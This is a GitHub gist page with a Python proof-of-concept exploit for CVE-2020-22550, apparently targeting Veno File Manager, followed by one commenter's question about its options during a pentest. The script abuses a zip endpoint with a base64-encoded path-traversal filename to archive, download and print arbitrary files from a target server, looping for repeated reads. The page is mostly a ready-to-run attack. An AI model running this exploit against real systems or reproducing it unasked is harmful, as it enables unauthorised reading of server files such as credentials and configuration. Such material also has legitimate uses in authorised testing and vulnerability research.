Sp3eD-X / veno.py

Last active last year

PoC for CVE-2020-22550

veno.py

```python
import requests
import base64
import zipfile
import io
import sys
import argparse

class Args(object):
    def __init__(self):
        self.parser = argparse.ArgumentParser()

    def parser_error(self, errmsg):
        print("Usage: python3 " + sys.argv[0] + " use -h for help")
        exit("Error: {}".format(errmsg))

    def parseArgs(self):
        self.parser._optionals.title = "OPTIONS"
        self.parser.add_argument('--hostname', help = "hostname", required = True)
        self.parser.add_argument('--dash', help = "dash", required = True)
        self.parser.add_argument('--time', help = "time", required = True)
        return self.parser.parse_args()

class Exploit(object):
    def __init__(self, hostname, dash, time):
        self._hostname = hostname
        self._dash = dash
        self._time = time

    def compress(self):
        url = f'http://{self._hostname}/filemanager/vfm-admin/ajax/zip.php'
        filename = '../../../../../../' + input('Read: ')
        payload = {
            'filesarray': base64.b64encode(filename.encode()).decode(),
            'time': self._time,
            'dash': self._dash
        }
        response = requests.post(url, data = payload, headers = {'X-Requested-With': 'XMLHttpRequest'})
        return response.json()['link']

    def download(self):
        url = f"http://{self._hostname}/filemanager/{self.compress()}"
        response = requests.get(url, stream = True)
        return response.content

    def read(self):
        try:
            zipRef = zipfile.ZipFile(io.BytesIO(self.download()))
            print(zipRef.open(zipRef.namelist()[0]).read().decode())
        except KeyboardInterrupt:
            exit()
        except:
            print('File not found or permission denied')

if __name__ == "__main__":
    args = Args().parseArgs()
    while True:
        Exploit(args.hostname, args.dash, args.time).read()
```

Warlord711 commented on Mar 15, 2021

Hi ! I stumbled across a veno instance while doing a pentest.
Can you tell what the --dash and --time options are ?
I do not have access to source of veno to check.